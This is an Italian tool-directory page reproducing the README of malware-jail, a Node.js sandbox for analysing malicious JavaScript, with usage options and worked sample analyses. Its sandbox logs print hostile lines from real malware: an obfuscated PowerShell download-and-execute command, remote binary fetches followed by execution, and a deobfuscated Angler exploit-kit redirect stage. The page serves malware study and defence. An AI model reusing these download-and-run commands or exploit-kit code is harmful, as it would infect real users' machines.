Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
malware-jail — Sandbox per l'analisi semi-automatica di malware JavaScript, deobfusazione ed estrazione del payload. Scritto per Node.js | Kitploit
Strumenti/GitHubGitHub/hynekpetrak/malware-jail
Analisi Dinamica (Sandboxing)Analisi Malware
GitHubhynekpetrak/malware-jail

malware-jail

Sandbox per l'analisi semi-automatica di malware JavaScript, deobfusazione ed estrazione del payload. Scritto per Node.js

Vedi Repository
478983 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

malware-jail

Sandbox per l'analisi semi-automatica di malware JavaScript, deoffuscazione ed estrazione del payload. Scritto per Node.js

malware-jail è scritto per la sandbox 'vm' di Node. Attualmente implementa il contesto WScript (Windows Scripting Host) env/wscript.js, almeno la parte frequentemente usata dai malware. Il contesto del browser Internet è parzialmente implementato env/browser.js.

Funziona su qualsiasi sistema operativo. Sviluppato e testato su Linux, Node.js v6.6.0.

A causa dell'uso di alcune funzionalità ES6, avrai bisogno di Node.js >= 6.x.

Vedi ESEMPI per campioni di malware analizzati.

Se hai nuovi campioni di malware, inviali a javascript-malware-collection, tramite issue o pull request.

Nuove funzionalità

Versione 0.19

Enumera le query WMI in un file: wmis.json

Versione 0.17

Aggiunto un nuovo parametro:

root@kitploit:~
--t404 - le richieste http restituiscono sempre HTTP/404 e lanciano un'eccezione. Questo permette di enumerare tutti gli URL remoti.

Versione 0.16

Gli URL vengono ora salvati in urls.json. Vedi gli ultimi ESEMPI#malware-di-issue-14.

Diverse correzioni di bug e miglioramenti.

Versione 0.14

Diverse correzioni di bug e miglioramenti.

Versione 0.13

Aggiunti nuovi parametri:

root@kitploit:~
-t msecs - limita il tempo di esecuzione a "msecs" millisecondi, di default 60 secondi.
--h404 - le richieste http restituiscono sempre HTTP/404 e non lanciano eccezioni. Questo permette di enumerare tutti gli URL remoti.

Installazione

Avrai bisogno di Node.js e npm installati.

malware-jail è costruito su minimist, iconv-lite e entities.

Clonare da GitHub

Clona il sorgente con git:

root@kitploit:~
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Poi installa tutte le dipendenze (minimist, entities, iconv-lite) con:

root@kitploit:~
npm install

Pacchetto NPM

Non ancora disponibile, presto in arrivo ...

Avvertenza

Fai attenzione quando lavori con un vero malware. Un malware che è a conoscenza di questa sandbox potrebbe tentare di evadere e danneggiare il tuo PC. Si consiglia di eseguirlo da un account Linux non privilegiato o all'interno di una macchina Windows virtualizzata. I file Angler nella cartella malware NON sono disinnescati.

Utilizzo

root@kitploit:~
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, a malware sandbox ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. usa un file di configurazione alternativo, preceduto da ./
7 May 20:54:52 -        -e ifile ... js che simula un ambiente specifico
7 May 20:54:52 -        -o ofile ... nome del file in cui verrà scaricata la sandbox alla fine
7 May 20:54:52 -        -s odir  ... directory di output per i file generati (payload del malware)
7 May 20:54:52 -        -b id    ... tipo di browser, usa -b list per i valori possibili
7 May 20:54:52 -        -t msecs ... numero di millisecondi prima di terminare l'esecuzione, default 1 minuto
7 May 20:54:52 -        --trace  ... stampa la stack trace con ogni riga di log
7 May 20:54:52 -        --down   ... permette il download dei payload del malware da server remoti
7 May 20:54:52 -        --h404   ... al download restituisce sempre HTTP/404
7 May 20:54:52 -        malware  ... js con il codice del malware
7 May 20:54:52 - Se non vengono specificati argomenti, i valori predefiniti vengono presi da config.json
7 May 20:54:52 - Valori -b possibili: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

Nella cartella examples puoi trovare un file malware disattivato. Esegui l'analisi con:

root@kitploit:~
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Per malware basati su browser Internet puoi testare con:

root@kitploit:~
node jailme.js -b IE11_W10 malware/example_browser.js

Alla fine dell'analisi l'intero contesto della sandbox viene scaricato in un file 'sandbox_dump_after.json'.

Potresti voler esaminare le seguenti voci di 'sandbox_dump_after.json':

  • eval_calls - array di tutti gli argomenti delle chiamate eval(). Utile se eval() viene usato per la deoffuscazione.
  • wscript_saved_files - contenuto di tutti i file che il malware ha tentato di rilasciare. I file effettivi vengono salvati anche nella directory output/.
  • wscript_urls - tutti gli URL che il malware intendeva usare con GET o POST.
  • wscript_objects - oggetti WScript o ActiveX creati.

'sandbox_dump_after.json' utilizza JSONPath, implementato da JSON-js/cycle.js, per salvare riferimenti duplicati o ciclici allo stesso oggetto.

Output di esempio

root@kitploit:~
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparing Sandbox environment.
11 Jan 00:06:24 -  => Executing: env/eval.js
11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls.
11 Jan 00:06:24 -  => Executing: env/wscript.js
11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment.
11 Jan 00:06:24 - ==> Executing malware file(s).
11 Jan 00:06:24 -  => Executing: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Created: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Created: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file.
11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - Generated file saved
11 Jan 00:08:42 - The sandbox context has been  saved to: sandbox_dump_after.json

Nell'esempio sopra il payload è stato estratto in output/_TEMP__49629482.dll e output/_TEMP__38611354.pdf

Esempi

La cartella malware contiene campioni di malware reali. La maggior parte scaricati da https://malwr.com.

Per un indice completo dei campioni di malware, consulta ESEMPI.

Esempio: Analisi di Wileen.js

Prendendo uno script dannoso da malwr.com: Wileen.js

Apparentemente il malware non si esegue se attivato da un browser:

root@kitploit:~
if (typeof document == "undefined") {

Pertanto potresti voler usare un file di configurazione alternativo che non carichi i componenti del browser/DOM:

root@kitploit:~
node jailme.js --down=y -c ./config_wscript_only.json  malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js 

Uso interessante di Powershell:

root@kitploit:~
1 Oct 13:05:34 -  => Executing: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll)
1 Oct 13:05:34 - Created: WScript.Shell[1]
1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE     -ExEc^U^Tio^n^p^oLIC^y^   B^Y^pas^S -NOpro^Fi^L^e^    -^W^InD^Ow^sT^yle^  HI^ddeN^  (^Ne^W^-^OBJ^ecT^     S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s  ^'%aPpdata%.eXe', false, undefined)
1 Oct 13:05:34 - ==> Cleaning up sandbox.
1 Oct 13:05:34 - ==> Script execution finished, dumping sandbox environment to a file.
1 Oct 13:05:34 - The sandbox context has been  saved to: sandbox_dump_after.json

File di log: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.out

Esempio: Analisi di ORDER-10455.js

Prendendo un JavaScript dannoso da malwr.com: ORDER-10455.js

Prima esecuzione senza interazione con server remoti:

root@kitploit:~
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js

ottieni qualcosa del tipo:

root@kitploit:~
... 
29 Sep 23:17:21 - Calling eval() no.: 5
29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP)
29 Sep 23:17:21 - Created: MSXML2.XMLHTTP[9]
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined)
29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Not sending data, if you want to interact with remote server, set --down=y
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status = '200'
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finished
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject)
29 Sep 23:17:21 - Scripting.FileSystemObject[10] created.
29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2)
29 Sep 23:17:21 - ActiveXObject(ADODB.Stream)
29 Sep 23:17:21 - Created: ADODB_Stream[11]
29 Sep 23:17:21 - ADODB_Stream[11].Open()
29 Sep 23:17:21 - ADODB_Stream[11].Type = '1'
29 Sep 23:17:21 - ADODB_Stream[11].content = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)'
29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes
29 Sep 23:17:21 - ADODB_Stream[11].size = '10000'
29 Sep 23:17:21 - ADODB_Stream[11].Position = '0'
29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2\w8z05i7y2.exe, 2)
29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - ADODB_Stream[11].Close()
29 Sep 23:17:21 - ActiveXObject(WScript.Shell)
29 Sep 23:17:21 - Created: WScript.Shell[12]
29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2\w8z05i7y2.exe, undefined, undefined)
29 Sep 23:17:21 - Returning: 'undefined'
29 Sep 23:17:21 - ==> Cleaning up sandbox.
29 Sep 23:17:21 - ==> Script execution finished, dumping sandbox environment to a file.
29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)
29 Sep 23:17:21 - Saving: output/Special_Folder__2_w8z05i7y2.exe
29 Sep 23:17:21 - Generated file saved
29 Sep 23:17:21 - The sandbox context has been  saved to: sandbox_dump_after.json

Sembra un comportamento "standard" di deoffuscazione per scaricare infine un binario exe ed eseguirlo.

Se vogliamo ottenere il payload reale, eseguiamolo con '--down=y':

root@kitploit:~
 node jailme.js --down=y  malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out 
 

File di log: malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out

Esempio: Analisi di Norri.js

Prendendo un JavaScript dannoso da malwr.com: Norri.js

Esegui:

root@kitploit:~
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js

ottieni:

root@kitploit:~
30 Sep 01:02:11 -  => Executing: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict mode: false
30 Sep 01:02:11 - Calling eval() no.: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Created: WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](https://github.com/hynekpetrak/malware-jail/blob/HEAD/Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] created.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Created: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Created: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async = 'false'
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status = '200'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finished
30 Sep 01:02:15 - ADODB_Stream[14].type = '1'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size = '196608'
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Cleaning up sandbox.
30 Sep 01:02:15 - ==> Script execution finished, dumping sandbox environment to a file.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:16 - Saving: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Generated file saved
30 Sep 01:02:16 - The sandbox context has been  saved to: sandbox_dump_after.json

Il comportamento è ovvio dal log. Il payload è stato estratto nel file output/TemporaryFolder_TempFile[15].

File di log: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.out

Esempio: Analisi di Angler EK

Scarica ed estrai Angler EK da un file pcap all'indirizzo ANGLER EK SENDS CRYPTOWALL in malware/angler/angler_full.html.

Rimuovi la parte non Angler e salva come malware/angler/angler_stripped.html.

Rimuovi i tag <script> e converti i tag <div> necessari in:

root@kitploit:~
document._addElementById(id, content);

e salva come malware/angler/angler.js.

Esegui l'analisi:

root@kitploit:~
node jailme.js malware/angler/angler.js

Infine cattura l'output in angler_output.txt:

root@kitploit:~
node jailme.js malware/angler/angler.js > malware/angler/angler_output.txt

Deoffuscazione dello stadio finale:function() { if (document.body != null && typeof document.body != "undefined") { clearInterval(zfxhYOGvfrlHUNJrZufQnWPtohkYAQEEdV); if (typeof window["v_bcd50d9482665cd4e129a272c76799e6"] == "undefined") { window["v_bcd50d9482665cd4e129a272c76799e6"] = 1; var YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr = (DfPJmMLOnxPanSoeHQuOrDdSoCPJGAaRhYURtgyUD() && CCtJDLZQbieboJvsIyatBMZhUvTpzaQcyCXR()); var YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW = !YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !!window.chrome && window.navigator.vendor === "Google Inc."; var rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia = -1; var NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS = "http://beladonna33.ga/052F"; if (hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW() && rfddjrtkllJefuAgPfwCNdpgltcAYetudMCia == 1) { if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) { location.replace(NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS) } else { window.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS; document.location = NOpYEscCPxFAjNAQevxjqvOuLilysKlWWoayIjJeS } } else { if ((YJEsPBctdgLUVvQpXvqYKJmoYsElJUhXr && !YBMlxOjmRXjqriuNuiEQPAJsQuuwPLiQW && !hgvANEpEuWeKcGvvwzyKQIhEoKIHuYnyaOtvVW())) { var blDiNORLBvDHjFRqgxXSMVgnfhriGmw = "<div style="position:absolute;left:-2808px;">"; var wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL = document.getElementsByTagName("div"); if (wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length == 0) { document.body.innerHTML = document.body.innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } else { var dl_name = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL.length; var eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc = Math.floor((dl_name / 2)); wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML = wudhWcxLZqnlyHWLSZexIwyPtiJtGDxL[eBYogcDktAguizQshmLzdvYhWtSflHvZqVuqIc].innerHTML + blDiNORLBvDHjFRqgxXSMVgnfhriGmw } } } } OncYaaSjwrEWhyHWevaHtkypMUSZxnIrtIK() } }

Licenza

La licenza MIT (MIT)

Copyright (c) 2016 Hynek Petrak

Con la presente viene concessa, a titolo gratuito, a chiunque ottenga una copia di questo software e dei relativi file di documentazione (il "Software"), l'autorizzazione a trattare il Software senza restrizioni, inclusi, senza limitazione, i diritti di utilizzare, copiare, modificare, unire, pubblicare, distribuire, concedere in sublicenza e/o vendere copie del Software, e di consentire alle persone a cui il Software è fornito di fare altrettanto, alle seguenti condizioni:

L'avviso di copyright sopra riportato e questo avviso di autorizzazione devono essere inclusi in tutte le copie o parti sostanziali del Software.

IL SOFTWARE VIENE FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, IVI INCLUSE MA NON LIMITATE ALLE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UN PARTICOLARE SCOPO E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, ILLECITO O ALTRO, DERIVANTE DA, O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.

Scarica lo strumento